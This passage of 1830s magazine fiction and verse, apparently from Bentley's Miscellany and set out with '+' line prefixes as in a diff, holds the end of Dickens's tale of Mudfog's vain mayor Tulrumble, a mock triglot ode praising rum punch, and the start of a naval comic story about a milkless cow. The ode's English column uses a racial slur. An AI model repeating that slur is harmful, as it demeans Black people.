+letter of the corporation was put into his hand. A crimson flush mantled
+over his face as he read it, for visions of brightness were already
+dancing before his imagination.
+
+"My dear," said Mr. Tulrumble to his wife, "they have elected me, Mayor
+of Mudfog."
+
+"Lor-a-mussy!" said Mrs. Tulrumble: "why, what's become of old Sniggs?"
+
+"The late Mr. Sniggs, Mrs. Tulrumble," said Mr. Tulrumble sharply, for
+he by no means approved of the notion of unceremoniously designating a
+gentleman who had filled the high office of Mayor as "old Sniggs,"--"The
+late Mr. Sniggs, Mrs. Tulrumble, is dead."
+
+The communication was very unexpected; but Mrs. Tulrumble only
+ejaculated "Lor-a-mussy!" once again, as if a Mayor were a mere ordinary
+Christian, at which Mr. Tulrumble frowned gloomily.
+
+"What a pity 'tan't in London, ain't it?" said Mrs. Tulrumble, after a
+short pause; "what a pity 'tan't in London, where you might have had a
+show."
+
+"I _might_ have a show in Mudfog, if I thought proper, I apprehend,"
+said Mr. Tulrumble mysteriously.
+
+"Lor! so you might, I declare," replied Mrs. Tulrumble.
+
+"And a good one, too," said Mr. Tulrumble.
+
+"Delightful!" exclaimed Mrs. Tulrumble.
+
+"One which would rather astonish the ignorant people down there," said
+Mr. Tulrumble.
+
+"It would kill them with envy," said Mrs. Tulrumble.
+
+So it was agreed that his Majesty's lieges in Mudfog should be
+astonished with splendour, and slaughtered with envy, and that such a
+show should take place as had never been seen in that town, or in any
+other town before,--no, not even in London itself.
+
+On the very next day after the receipt of the letter, down came the
+tall postilion in a post-chaise,--not upon one of the horses, but
+inside--actually inside the chaise,--and, driving up to the very door
+of the town-hall, where the corporation were assembled, delivered a
+letter, written by the Lord knows who, and signed by Nicholas Tulrumble,
+in which Nicholas said, all through four sides of closely-written,
+gilt-edged, hot-pressed, Bath post letter-paper, that he responded to
+the call of his fellow-townsmen with feelings of heartfelt delight;
+that he accepted the arduous office which their confidence had imposed
+upon him; that they would never find him shrinking from the discharge
+of his duty; that he would endeavour to execute his functions with
+all that dignity which their magnitude and importance demanded; and
+a great deal more to the same effect. But even this was not all. The
+tall postilion produced from his right-hand top-boot, a damp copy of
+that afternoon's number of the county paper; and there, in large type,
+running the whole length of the very first column, was a long address
+from Nicholas Tulrumble to the inhabitants of Mudfog, in which he said
+that he cheerfully complied with their requisition, and, in short, as
+if to prevent any mistake about the matter, told them over again what
+a grand fellow he meant to be, in very much the same terms as those in
+which he had already told them all about the matter in his letter.
+
+The corporation stared at one another very hard at all this, and then
+looked as if for explanation to the tall postilion, but as the tall
+postilion was intently contemplating the gold tassel on the top of his
+yellow cap, and could have afforded no explanation whatever, even if
+his thoughts had been entirely disengaged, they contented themselves
+with coughing very dubiously, and looking very grave. The tall postilion
+then delivered another letter, in which Nicholas Tulrumble informed the
+corporation, that he intended repairing to the town-hall, in grand state
+and gorgeous procession, on the Monday afternoon then next ensuing. At
+this, the corporation looked still more solemn; but, as the epistle
+wound up with a formal invitation to the whole body to dine with the
+Mayor on that day, at Mudfog Hall, Mudfog Hill, Mudfog, they began to
+see the fun of the thing directly, and sent back their compliments, and
+they'd be sure to come.
+
+Now there happened to be in Mudfog, as somehow or other there does
+happen to be, in almost every town in the British dominions, and perhaps
+in foreign dominions too--we think it very likely, but, being no great
+traveller, cannot distinctly say--there happened to be, in Mudfog a
+merry-tempered, pleasant-faced, good-for-nothing sort of vagabond,
+with an invincible dislike to manual labour, and an unconquerable
+attachment to strong beer and spirits whom everybody knew, and nobody,
+except his wife, took the trouble to quarrel with, who inherited from
+his ancestors the appellation of Edward Twigger, and rejoiced in the
+_sobriquet_ of Bottle-nosed Ned. He was drunk upon the average once
+a day, and penitent upon an equally fair calculation once a month;
+and when he was penitent, he was invariably in the very last stage of
+maudlin intoxication. He was a ragged, roving, roaring kind of fellow,
+with a burly form, a sharp wit, and a ready head, and could turn his
+hand to anything when he chose to do it. He was by no means opposed to
+hard labour on principle, for he would work away at a cricket-match by
+the day together,--running, and catching, and batting, and bowling, and
+revelling in toil which would exhaust a galley-slave. He would have been
+invaluable to a fire-office; never was a man with such a natural taste
+for pumping engines, running up ladders, and throwing furniture out of
+two-pair-of-stairs' windows: nor was this the only element in which he
+was at home; he was a humane society in himself, a portable drag, an
+animated life-preserver, and had saved more people, in his time, from
+drowning, than the Plymouth life-boat, or Captain Manby's apparatus.
+With all these qualifications, notwithstanding his dissipation,
+Bottle-nosed Ned was a general favourite; and the authorities of Mudfog,
+remembering his numerous services to the population, allowed him in
+return to get drunk in his own way, without the fear of stocks, fine, or
+imprisonment. He had a general licence, and he showed his sense of the
+compliment by making the most of it.
+
+We have been thus particular in describing the character and avocations
+of Bottle-nosed Ned, because it enables us to introduce a fact politely,
+without hauling it into the reader's presence with indecent haste by the
+head and shoulders, and brings us very naturally to relate, that on the
+very same evening on which Mr. Nicholas Tulrumble and family returned to
+Mudfog, Mr. Tulrumble's new secretary, just imported from London, with
+a pale face and light whiskers, thrust his head down to the very bottom
+of his neckcloth-tie, in at the tap-room door of the Lighterman's Arms,
+and enquiring whether one Ned Twigger was luxuriating within, announced
+himself as the bearer of a message from Nicholas Tulrumble, Esquire,
+requiring Mr. Twigger's immediate attendance at the hall, on private
+and particular business. It being by no means Mr. Twigger's interest
+to affront the Mayor, he rose from the fire-place with a slight sigh,
+and followed the light-whiskered secretary through the dirt and wet of
+Mudfog streets, up to Mudfog Hall, without further ado.
+
+Mr. Nicholas Tulrumble was seated in a small cavern with a skylight,
+which he called his library, sketching out a plan of the procession on
+a large sheet of paper; and into the cavern the secretary ushered Ned
+Twigger.
+
+"Well, Twigger!" said Nicholas Tulrumble, condescendingly.
+
+There was a time when Twigger would have replied, "Well, Nick!" but that
+was in the days of the truck, and a couple of years before the donkey;
+so, he only bowed.
+
+"I want you to go into training, Twigger," said Mr. Tulrumble.
+
+"What for, sir?" enquired Ned, with a stare.
+
+"Hush, hush, Twigger!" said the Mayor. "Shut the door, Mr. Jennings.
+Look here, Twigger."
+
+As the Mayor said this, he unlocked a high closet, and disclosed a
+complete suit of brass armour, of gigantic dimensions.
+
+"I want you to wear this, next Monday, Twigger," said the Mayor.
+
+"Bless your heart and soul, sir!" replied Ned, "you might as well ask me
+to wear a seventy-four pounder, or a cast-iron boiler."
+
+"Nonsense, Twigger! nonsense!" said the Mayor.
+
+"I couldn't stand under it, sir," said Twigger; "it would make mashed
+potatoes of me, if I attempted it."
+
+"Pooh, pooh, Twigger!" returned the Mayor. "I tell you I have seen it
+done with my own eyes, in London, and the man wasn't half such a man as
+you are, either."
+
+"I should as soon have thought of a man's wearing the case of an
+eight-day clock to save his linen," said Twigger, casting a look of
+apprehension at the brass suit.
+
+"It's the easiest thing in the world," rejoined the Mayor.
+
+"It's nothing," said Mr. Jennings.
+
+"When you're used to it," added Ned.
+
+"You do it by degrees," said the Mayor. "You would begin with one piece
+to-morrow, and two the next day, and so on, till you had got it all on.
+Mr. Jennings, give Twigger a glass of rum. Just try the breast-plate,
+Twigger. Stay; take another glass of rum first. Help me to lift it, Mr.
+Jennings. Stand firm, Twigger! There!--it isn't half as heavy as it
+looks, is it?"
+
+Twigger was a good strong, stout fellow; so, after a great deal of
+staggering he managed to keep himself up, under the breast-plate, and
+even contrived, with the aid of another glass of rum, to walk about in
+it, and the gauntlets into the bargain. He made a trial of the helmet,
+but was not equally successful, inasmuch he tipped over instantly,--an
+accident which Mr. Tulrumble clearly demonstrated to be occasioned by
+his not having a counteracting weight of brass on his legs.
+
+"Now, wear that with grace and propriety on Monday next," said
+Tulrumble, "and I'll make your fortune."
+
+"I'll try what I can do, sir," said Twigger.
+
+"It must be kept a profound secret," said Tulrumble.
+
+"Of course, sir," replied Twigger.
+
+"And you must be sober," said Tulrumble; "perfectly sober."
+
+Mr. Twigger at once solemnly pledged himself to be as sober as a judge,
+and Nicholas Tulrumble was satisfied, although, had we been Nicholas, we
+should certainly have exacted some promise of a more specific nature;
+inasmuch as, having attended the Mudfog assizes in the evening more than
+once, we can solemnly testify to having seen judges with very strong
+symptoms of dinner under their wigs. However, that's neither here nor
+there.
+
+The next day, and the day following, and the day after that, Ned Twigger
+was securely locked up in the small cavern with the skylight, hard at
+work at the armour. With every additional piece he could manage to
+stand upright in, he had on additional glass of rum; and at last, after
+many partial suffocations, he contrived to get on the whole suit, and
+to stagger up and down the room in it, like an intoxicated effigy from
+Westminster Abbey.
+
+Never was man so delighted as Nicholas Tulrumble; never was woman so
+charmed as Nicholas Tulrumble's wife. Here was a sight for the common
+people of Mudfog! A live man in brass armour! Why, they would go wild
+with wonder!
+
+The day--_the_ Monday--arrived.
+
+If the morning had been made to order, it couldn't have been better
+adapted to the purpose. They never showed a better fog in London on
+Lord Mayor's day, than enwrapped the town of Mudfog on that eventful
+occasion. It had risen slowly and surely from the green and stagnant
+water with the first light of morning, until it reached a little
+above the lamp-post tops; and there it had stopped, with a sleepy,
+sluggish obstinacy, which bade defiance to the sun, who had got up very
+blood-shot about the eyes, as if he had been at a drinking-party over
+night, and was doing his day's work with the worst possible grace. The
+thick damp mist hung over the town like a huge gauze curtain. All was
+dim and dismal. The church-steeples had bidden a temporary adieu to
+the world below; and every object of lesser importance--houses, barns,
+hedges, trees, and barges--had all taken the veil.
+
+The church-clock struck one. A cracked trumpet from the front-garden
+of Mudfog Hall produced a feeble flourish, as if some asthmatic person
+had coughed into it accidentally; the gate flew open, and out came a
+gentleman, on a moist-sugar coloured charger, intended to represent
+a herald, but bearing a much stronger resemblance to a court-card on
+horseback. This was one of the Circus people, who always came down to
+Mudfog at that time of the year, and who had been engaged by Nicholas
+Tulrumble expressly for the occasion. There was the horse, whisking his
+tail about, balancing himself on his hind-legs, and flourishing away
+with his fore-feet, in a manner which would have gone to the hearts and
+souls of any reasonable crowd. But a Mudfog crowd never was a reasonable
+one, and in all probability never will be. Instead of scattering the
+very fog with their shouts, as they ought most indubitably to have
+done, and were fully intended to do, by Nicholas Tulrumble, they no
+sooner recognised the herald, than they began to growl forth the most
+unqualified disapprobation at the bare notion of his riding like any
+other man. If he had come out on his head indeed, or jumping through a
+hoop, or flying through a red-hot drum, or even standing on one leg with
+his other foot in his mouth, they might have had something to say to
+him; but for a professional gentleman to sit astride in the saddle, with
+his feet in the stirrups, was rather too good a joke. So, the herald was
+a decided failure, and the crowd hooted with great energy, as he pranced
+ingloriously away.
+
+On the procession came. We were afraid to say how many supernumeraries
+there were, in striped shirts and black velvet caps, to imitate the
+London watermen, or how many base imitations of running-footmen, or how
+many banners, which, owing to the heaviness of the atmosphere, could by
+no means be prevailed on to display their inscriptions: still less do
+we feel disposed to relate how the men who played the wind instruments,
+looking up into the sky (we mean the fog) with musical fervour,
+walked through pools of water and hillocks of mud, till they covered
+the powdered heads of the running-footmen aforesaid with splashes,
+that looked curious, but not ornamental; or how the barrel-organ
+performer put on the wrong stop, and played one tune while the band
+played another; or how the horses, being used to the arena, and not
+to the streets, would stand still and dance, instead of going on and
+prancing;--all of which are matters which might be dilated upon to great
+advantage, but which we have not the least intention of dilating upon,
+notwithstanding.
+
+Oh! it was a grand and beautiful sight to behold the corporation
+in glass coaches, provided at the sole cost and charge of Nicholas
+Tulrumble, coming rolling along, like a funeral out of mourning, and
+to watch the attempts the corporation made to look great and solemn,
+when Nicholas Tulrumble himself, in the four-wheel chaise, with the
+tall postilion, rolled out after them, with Mr. Jennings on one side
+to look like the chaplain, and a supernumerary on the other, with an
+old life-guardsman's sabre, to imitate the sword-bearer; and to see the
+tears rolling down the faces of the mob as they screamed with merriment.
+This was beautiful! and so was the appearance of Mrs. Tulrumble and son,
+as they bowed with grave dignity out of their coach-window to all the
+dirty faces that were laughing around them: but it is not even with this
+that we have to do, but with the sudden stopping of the procession at
+another blast of the trumpet, whereat, and whereupon, a profound silence
+ensued, and all eyes were turned towards Mudfog Hull, in the confident
+anticipation of some new wonder.
+
+"They won't laugh now, Mr. Jennings," said Nicholas Tulrumble.
+
+"I think not, sir," said Mr. Jennings.
+
+"See how eager they look," said Nicholas Tulrumble. "Aha! the laugh will
+be on our side now; eh, Mr. Jennings?"
+
+"No doubt of that, sir," replied Mr. Jennings; and Nicholas Tulrumble,
+in a state of pleasurable excitement, stood up in the four-wheel chaise,
+and telegraphed gratification to the Mayoress behind.
+
+While all this was going forward, Ned Twigger had descended into the
+kitchen of Mudfog Hall for the purpose of indulging the servants with
+a private view of the curiosity that was to burst upon the town; and,
+somehow or other, the footman was so companionable, and the housemaid
+so kind, and the cook so friendly, that he could not resist the offer
+of the first-mentioned to sit down and take something--just to drink
+success to master in.
+
+So, down Ned Trigger sat himself in his brass livery on the top of
+the kitchen-table; and in a mug of something strong, paid for by the
+unconscious Nicholas Tulrumble, and provided by the companionable
+footman, drank success to the Mayor and his procession; and, as Ned laid
+by his helmet to imbibe the something strong, the companionable footman
+put it on his own head, to the immeasurable and unrecordable delight of
+the cook and housemaid. The companionable footman was very facetious
+to Ned, and Ned was very gallant to the cook and housemaid by turns.
+They were all very cosy and comfortable; and the something strong went
+briskly round.
+
+At last Ned Twigger was loudly called for, by the procession people:
+and, having had his helmet fixed on, in a very complicated manner, by
+the companionable footman, and the kind housemaid, and the friendly
+cook, he walked gravely forth, and appeared before the multitude.
+
+The crowd roared--it was not with wonder, it was not with surprise; it
+was most decidedly and unquestionably with laughter.
+
+"What!" said Mr. Tulrumble, starting up in the four-wheel chaise.
+"Laughing? If they laugh at a man in real brass armour, they'd laugh
+when their own fathers were dying. Why doesn't he go into his place, Mr.
+Jennings? What's he rolling down towards us for?--he has no business
+here!"
+
+"I am afraid, sir----" faltered Mr. Jennings.
+
+"Afraid of what, sir?" said Nicholas Tulrumble, looking up into the
+secretary's face.
+
+"I am afraid he's drunk, sir;" replied Mr. Jennings.
+
+Nicholas Tulrumble took one look at the extraordinary figure that was
+bearing down upon them; and then, clasping his secretary by the arm,
+uttered an audible groan in anguish of spirit.
+
+It is a melancholy fact that Mr. Twigger having full licence to demand
+a single glass of rum on the putting on of every piece of the armour,
+got, by some means or other, rather out in his calculation in the
+hurry and confusion of preparation, and drank about four glasses to a
+piece instead of one, not to mention the something strong which went
+on the top of it. Whether the brass armour checked the natural flow
+of perspiration, and thus prevented the spirit from evaporating, we
+are not scientific enough to know; but, whatever the cause was, Mr.
+Twigger no sooner found himself outside the gate of Mudfog Hall, than
+he also found himself in a very considerable state of intoxication;
+and hence his extraordinary style of progressing. This was bad enough,
+but, as if fate and fortune had conspired against Nicholas Tulrumble,
+Mr. Twigger, not having been penitent for a good calendar month, took
+it into his head to be most especially and particularly sentimental,
+just when his repentance could have been most conveniently dispensed
+with. Immense tears were rolling down his cheeks, and he was vainly
+endeavouring to conceal his grief by applying to his eyes a blue
+cotton pocket-handkerchief with white spots,--an article not strictly
+in keeping with a suit of armour some three hundred years old, or
+thereabouts.
+
+"Twigger, you villain!" said Nicholas Tulrumble, quite forgetting his
+dignity, "go back!"
+
+"Never," said Ned. "I'm a miserable wretch. I'll never leave you."
+
+The by-standers of course received this declaration with acclamations of
+"That's right, Ned; don't!"
+
+"I don't intend it," said Ned, with all the obstinacy of a very tipsy
+man. "I'm very unhappy. I'm the wretched father of an unfortunate
+family; but I am very faithful, sir. I'll never leave you." Having
+reiterated this obliging promise, Ned proceeded in broken words to
+harangue the crowd upon the number of years he had lived in Mudfog, the
+excessive respectability of his character, and other topics of the like
+nature.
+
+"Here! will anybody lead him away?" said Nicholas: "if they'll call on
+me afterwards, I'll reward them well."
+
+Two or three men stepped forward, with the view of bearing Ned off, when
+the secretary interposed.
+
+"Take care! take care!" said Mr. Jennings. "I beg your pardon, sir; but
+they'd better not go too near him, because, if he falls over, he'll
+certainly crush somebody."
+
+At this hint the crowd retired on all sides to a very respectful
+distance, and left Ned, like the Duke of Devonshire, in a little circle
+of his own.
+
+"But, Mr. Jennings," said Nicholas Tulrumble, "he'll be suffocated."
+
+"I'm very sorry for it, sir," replied Mr. Jennings; "but nobody can get
+that armour off, without his own assistance. I'm quite certain of it,
+from the way he put it on."
+
+Here Ned wept dolefully, and shook his helmeted head, in a manner that
+might have touched a heart of stone; but the crowd had not hearts of
+stone, and they laughed heartily.
+
+"Dear me, Mr. Jennings," said Nicholas, turning pale at the possibility
+of Ned's being smothered in his antique costume--"Dear me, Mr. Jennings,
+can nothing be done with him?"
+
+"Nothing at all," replied Ned, "nothing at all. Gentlemen, I'm an
+unhappy wretch. I'm a body, gentlemen, in a brass coffin." At this
+poetical idea of his own conjuring up, Ned cried so much that the people
+began to get sympathetic, and to ask what Nicholas Tulrumble meant by
+putting a man into such a machine as that; and one individual in a hairy
+waistcoat like the top of a trunk, who had previously expressed his
+opinion that if Ned hadn't been a poor man, Nicholas wouldn't have dared
+to do it, hinted at the propriety of breaking the four-wheel chaise,
+or Nicholas's head, or both, which last compound proposition the crowd
+seemed to consider a very good notion.
+
+It was not acted upon, however, for it had hardly been broached, when
+Ned Twigger's wife made her appearance abruptly in the little circle
+before noticed, and Ned no sooner caught a glimpse of her face and form,
+than from the mere force of habit he set off towards his home just as
+fast as his legs would carry him; and that was not very quick in the
+present instance either, for, however ready they might have been to
+carry _him_, they couldn't get on very well under the brass armour.
+So, Mrs. Twigger had plenty of time to denounce Nicholas Tulrumble to
+his face: to express her opinion that he was a decided monster; and to
+intimate that, if her ill-used husband sustained any personal damage
+from the brass armour, she would have the law of Nicholas Tulrumble
+for manslaughter. When she had said all this with due vehemence, she
+posted after Ned, who was dragging himself along as best he could, and
+deploring his unhappiness in most dismal tones.
+
+What a wailing and screaming Ned's children raised when he got home at
+last! Mrs. Twigger tried to undo the armour, first in one place, and
+then in another, but she couldn't manage it; so she tumbled Ned into
+bed, helmet, armour, gauntlets, and all. Such a creaking as the bedstead
+made, under Ned's weight in his new suit! It didn't break down though;
+and there Ned lay, like the anonymous vessel in the Bay of Biscay, till
+next day, drinking barley-water, and looking miserable: and every time
+he groaned, his good lady said it served him right, which was all the
+consolation Ned Twigger got.
+
+Nicholas Tulrumble and the gorgeous procession went on together to
+the town-hall, amid the hisses and groans of all the spectators, who
+had suddenly taken it into their heads to consider poor Ned a martyr.
+Nicholas was formally installed in his new office, in acknowledgment
+of which ceremony he delivered himself of a speech, composed by the
+secretary, which was very long and no doubt very good, only the noise
+of the people outside prevented anybody from hearing it, but Nicholas
+Tulrumble himself. After which, the procession got back to Mudfog Hall
+any how it could; and Nicholas and the corporation sat down to dinner.
+
+But the dinner was flat, and Nicholas was disappointed. They were such
+dull sleepy old fellows, that corporation. Nicholas made quite as long
+speeches as the Lord Mayor of London had done, nay, he said the very
+same things that the Lord Mayor of London had said, and the deuce a
+cheer the corporation gave him. There was only one man in the party who
+was thoroughly awake; and he was insolent, and called him Nick. Nick!
+What would be the consequence, thought Nicholas, of anybody presuming to
+call the Lord Mayor of London "Nick!" He should like to know what the
+sword-bearer would say to that; or the recorder, or the toast-master, or
+any other of the great officers of the city. They'd nick him.
+
+But these were not the worst of Nicholas Tulrumble's doings; If they
+had been, he might have remained a Mayor to this day, and have talked
+till he lost his voice. He contracted a relish for statistics, and got
+philosophical; and the statistics and the philosophy together, led him
+into an act which increased his unpopularity and hastened his downfall.
+
+At the very end of the Mudfog High-street, and abutting on the
+river-side, stands the Jolly Boatmen, an old-fashioned, low-roofed,
+bay-windowed house, with a bar, kitchen, and tap-room all in one, and a
+large fire-place with a kettle to correspond, round which the working
+men have congregated time out of mind on a winter's night, refreshed by
+draughts of good strong beer, and cheered by the sounds of a fiddle and
+tambourine: the Jolly Boatmen having been duly licensed by the Mayor
+and corporation, to scrape the fiddle and thumb the tambourine from
+time, whereof the memory of the oldest inhabitants goeth not to the
+contrary. Now Nicholas Tulrumble had been reading pamphlets on crime,
+and parliamentary reports,--or had made the secretary read them to him,
+which is the same thing in effect,--and he at once perceived that this
+fiddle and tambourine must have done more to demoralise Mudfog, than any
+other operating causes that ingenuity could imagine. So he read up for
+the subject, and determined to come out on the corporation with a burst,
+the very next time the licence was applied for.
+
+The licensing day came, and the red-faced landlord of the Jolly Boatmen,
+walked into the town-hall, looking as jolly as need be, having actually
+put on an extra fiddle for that night, to commemorate the anniversary
+of the Jolly Boatmen's music licence. It was applied for in due form,
+and was just about to be granted as a matter of course, when up rose
+Nicholas Tulrumble, and drowned the astonished corporation in a torrent
+of eloquence. He descanted in glowing terms upon the increasing
+depravity of his native town of Mudfog, and the excesses committed by
+its population. Then, he related how shocked he had been, to see barrels
+of beer sliding down into the cellar of the Jolly Boatmen week after
+week; and how he had sat at a window opposite the Jolly Boatmen for two
+days together, to count the people who went in for beer between the
+hours of twelve and one o'clock alone--which, by-the-bye, was the time
+at which the great majority of the Mudfog people dined. Then, he went on
+to state, how the number of people who came out with beer-jugs, averaged
+twenty-one in five minutes, which, being multiplied by twelve, gave two
+hundred and fifty-two people with beer-jugs in an hour, and multiplied
+again by fifteen (the number of hours during which the house was open
+daily) yielded three thousand seven hundred and eighty people with
+beer-jugs per day, or twenty-six thousand four hundred and sixty people
+with beer-jugs, per week. Then he proceeded to show that a tambourine
+and moral degradation were synonymous terms, and a fiddle and vicious
+propensities wholly inseparable. All these arguments he strengthened
+and demonstrated by frequent references to a large book with a blue
+cover, and sundry quotations from the Middlesex magistrates; and in the
+end, the corporation, who were posed with the figures, and sleepy with
+the speech, and sadly in want of dinner into the bargain, yielded the
+palm to Nicholas Tulrumble, and refused the music licence to the Jolly
+Boatmen.
+
+But although Nicholas triumphed, his triumph was short. He carried on
+the war against beer-jugs and fiddles, forgetting the time when he
+was glad to drink out of the one, and to dance to the other, till the
+people hated, and his old friends shunned him. He grew tired of the
+lonely magnificence of Mudfog Hall, and his heart yearned towards the
+Lighterman's Arms. He wished he had never set up as a public man, and
+sighed for the good old times of the coal-shop, and the chimney-corner.
+
+At length old Nicholas, being thoroughly miserable, took heart of grace,
+paid the secretary a quarter's wages in advance, and packed him off to
+London by the next coach. Having taken this step, he put his hat on his
+head, and his pride in his pocket, and walked down to the old room at
+the Lighterman's Arms. There were only two of the old fellows there, and
+they looked coldly on Nicholas as he proffered his hand.
+
+"Are you going to put down pipes, Mr. Tulrumble?" said one.
+
+"Or trace the progress of crime to 'baccer?" growled the other.
+
+"Neither," replied Nicholas Tulrumble, shaking hands with them both,
+whether they would or not. "I've come down to say that I'm very sorry
+for having made a fool of myself, and that I hope you'll give me up the
+old chair, again."
+
+The old fellows opened their eyes, and three or four more old fellows
+opened the door, to whom Nicholas, with tears in his eyes, thrust out
+his hand too, and told the same story. They raised a shout of joy, that
+made the bells in the ancient church-tower vibrate again, and wheeling
+the old chair into the warm corner, thrust old Nicholas down into it,
+and ordered in the very largest-sized bowl of hot punch, with an
+unlimited number of pipes, directly.
+
+The next day, the Jolly Boatmen got the licence, and the next night,
+old Nicholas and Ned Twigger's wife led off a dance to the music of
+the fiddle and tambourine, the tone of which seemed mightily improved
+by a little rest, for they never had played so merrily before. Ned
+Twigger was in the very height of his glory, and he danced hornpipes,
+and balanced chairs on his chin, and straws on his nose, till the whole
+company, including the corporation, were in raptures of admiration at
+the brilliancy of his acquirements.
+
+Mr. Tulrumble, junior, couldn't make up his mind to be anything but
+magnificent, so he went up to London and drew bills on his father; and
+when he had overdrawn, and got into debt, he grew penitent and came home
+again.
+
+As to old Nicholas, he kept his word, and having had six weeks of public
+life, never tried it any more. He went to sleep in the town-hall at the
+very next meeting; and, in full proof of his sincerity, has requested us
+to write this faithful narrative. We wish it could have the effect of
+reminding the Tulrumbles of another sphere, that puffed-up conceit is
+not dignity, and that snarling at the little pleasures they were once
+glad to enjoy, because they would rather forget the times when they were
+of lower station, renders them objects of contempt and ridicule.
+
+This is the first time we have published any of our gleanings from this
+particular source. Perhaps, at some future period, we may venture to
+open the chronicles of Mudfog.
+                                                                 BOZ.
+
+
+
+
+            THE HOT WELLS OF CLIFTON.
+
+                 SCRAP, No. II.               _Water-grass-hill._
+
+The "poems of Ossian," a celtic bard, and the "rhymes of Rowley," a
+Bristol priest, burst on the public at one and the same period; when the
+attention of literary men was for a time totally absorbed in discussing
+the respective discoveries of Macpherson and of Chatterton. "The fashion
+of this world passeth away;" and what once engaged so much notice is now
+sadly neglected. Indeed, had not Bonaparte taken a fancy to the ravings
+of the mad highlander, and had not Chatterton swallowed oxalic acid,
+probably far more brief had been the space both would have occupied
+in the memory of mankind. In the garret of Holborn, where the latter
+expired, the following _morceau_ was picked up by an Irish housemaid
+(a native of this parish), who, in writing home to a sweetheart,
+converted it into an envelope for her letter. It thus came into
+my possession.
+                                                            P. PROUT.
+
+
+
+
+               TO THE HOT WELLS OF CLIFTON,
+                  IN PRAISE OF RUM-PUNCH.
+
+                     A Triglot Ode, viz.
+
+    1º [Greek: Pindarou peri reumatos ôdê.]
+    2º Horatii in fontem Bristolii carmen.
+    3º A Relick (unpublished) of "the unfortunate Chatterton."
+
+     PINDAR.                     HORACE.            CHATTERTON.
+ [Greek: Pêgê Bristolias     O fons Bristolii    I ken your worth
+ Mallon en ualô              Hoc magis in vitro  "Hot wells" of Bristol,
+ Lampous' anthesi syn        Dulci digne mero    That bubble forth
+ Nektaros axiê               Non sine floribus   As clear as crystal;...
+ S' antlô                    Vas impleveris      In parlour snug
+ Reumati pollô               Undâ                I'd wish no hotter
+ Misgôn                      Mel solvente        To mix a jug
+ Kai melitos poly.]          Caloribus.          Of Rum and Water.
+
+
+   [Greek: b.]                     II.                 2.
+ [Greek: Anêr kan tis eran   Si quis vel venerem Doth Love, young chiel,
+ Bouletai ê machan           Aut prælia cogitat, One's bosom ruffle?
+ Soi Bakchou patharon        Is Bacchi calidos   Would any feel
+ Soi diachrônnysei           Inficiet tibi       Ripe for a scuffle?
+ Phoinô                      Rubro sanguine      The simplest plan
+ Th' aimati nama             Rivos,              Is just to take a
+ Prothymos te                Fiet protinus       Well stiffened can
+ Tach' essetai.]             Impiger!            Of old Jamaica.
+
+
+   [Greek: g.]                    III.                  3.
+ [Greek: Se phlegm' aithaloen  Te flagrante bibax Beneath the zone
+ Seiriou asteros               Ore caniculâ       Grog in a pail or
+ Armozei plôtori               Sugit navita: tu   Rum--best alone--
+ Sy kryos êdyn en              Frigus amabile     Delights the sailor.
+ Nêsois                        Fessis vomere      The can he swills
+ Antilesaisi                   Mauris             Alone gives vigour
+ Poieis                        Præbes ac          In the Antilles
+ K' aithiopôn phylô.]          Homini nigro.      To white or nigger.
+
+
+   [Greek: d.]                     IV.                  4.
+ [Greek:Krênais en te kalais Fies nobilium       Thy claims, O fount,
+ Esseai aglaê                Tu quoque fontium   Deserve attention:
+ S' en koilô kylaki          Me dicente; cavum   Henceforward count
+ Enthemenên eôs              Dum calicem reples  On classic mention.
+ Umnêsô,                     Urnamque            Right pleasant stuff
+ Lalon ex ou                 Unde loquaces       Thine to the lip is ...
+ Son de reuma kathalletai.]  Lymphæ              We've had enough
+                             Desiliunt tuæ.      Of Aganippe's.
+
+
+
+
+          "WHO MILKED MY COW?" OR, THE MARINE GHOST.
+            BY THE AUTHOR OF "RATTLIN THE REEFER."
+
+Captain the Honourable Augustus Fitzroy Fitzalban, of that beautiful
+ship his Majesty's frigate Nænia, loved many things. He loved his ship
+truly, and with a perdurable affection; yet he loved something still
+more, his very aristocratic self. He had also vowed to love and cherish
+another person; but what gallant spirit would yield love, even if it
+were as plenty as blackberries, upon compulsion? The less you give away,
+the more must remain to be employed in the service of the possessor.
+Captain Augustus Fitzroy Fitzalban had a great deal of unoccupied love
+at his disposal. Considering duly these premises, there can be nothing
+surprising in the fact if he had a surplus affection or two to dispose
+of, and that he most ardently loved new milk every morning for
+breakfast.
+
+Now Captain the Honourable Augustus Fitzroy Fitzalban--(how delightful
+it is to give the whole title when it is either high-sounding or
+euphonous!)--had large estates and wide pasture-lands populous with
+lowing kine. But all these availed him not; for, though he was sovereign
+lord and master _pro tempore_ over all as far as the eye could reach,
+on the morning of the 6th of June 1826, he could not command so much of
+the sky-blueish composition that is sold for milk in London, as could
+be bought for one halfpenny in that sovereign city of many pumps. The
+fields spread around the honourable captain were wide and green enough,
+but, alas! they were not pastured with mammiferous animals. Neptune has
+never been known to take cream to his chocolate and coffee. He would
+scorn to be called a milk-and-water gentlemen. There is the sea-cow
+certainly, but we never heard much respecting the quality of her butter.
+
+We are careful. We will not lay ourselves open to animadversion. We have
+read books. We have seen things. Therefore we cannot suffer the little
+triumph to the little critics who were just going to tell us that all
+the cetaceous tribes suckle their young. We can tell these critics more
+than they know themselves. Whale's milk _is_ good for the _genus homo_.
+We know two brawny fellows, maintop-men, who, being cast overboard when
+infants, were, like Romulus and Remus with their she-bear, suckled by
+a sperm-whale; and, when their huge wet-nurse wished to wean them, she
+cast them ashore on one of the Friendly Islands. We think that we hear
+the incredulous exclaim, "Very like a whale!" Why, so it was.
+
+But to return to another matter of history. On the memorable morning
+before indicated, the honourable captain, the first lieutenant, the
+doctor, the marine officer, the officer and the midshipman of the
+morning watch, had all assembled to breakfast in the cabin. They had
+not forgotten their appetites, particularly the gentlemen of the
+morning watch. They were barbarous and irate in their hunger, as their
+eyes wandered over cold fowl and ham, hot rolls, grilled kidneys, and
+devilled legs of turkey.
+
+"By all the stars in heaven," said the honourable commander, "no milk
+again this morning! Give me, you rascally steward," continued the
+captain, "a plain, straightforward, categorical answer. Why does this
+infernal cow, for which I gave such a heap of dollars, give me no
+milk?"--"Well, sir," said the trembling servitor; "if, sir, you must
+have a plain answer, I really--believe--it is--because--I don't know."
+
+"A dry answer," said the doctor, who was in most senses a dry fellow.
+
+"You son of a shotten herring!" said the captain, "can you milk
+her?"--"Yes, sir."
+
+"Then why, in the name of all that is good, don't you?"--"I do, sir,
+but it won't come."
+
+"Then let us go," said the captain, quite resignedly, "let us go,
+gentlemen, and see what ails this infernal cow; I can't eat my breakfast
+without milk, and breakfast is the meal that I generally enjoy most."
+
+So he, leading the way, was followed by his company, who cast many a
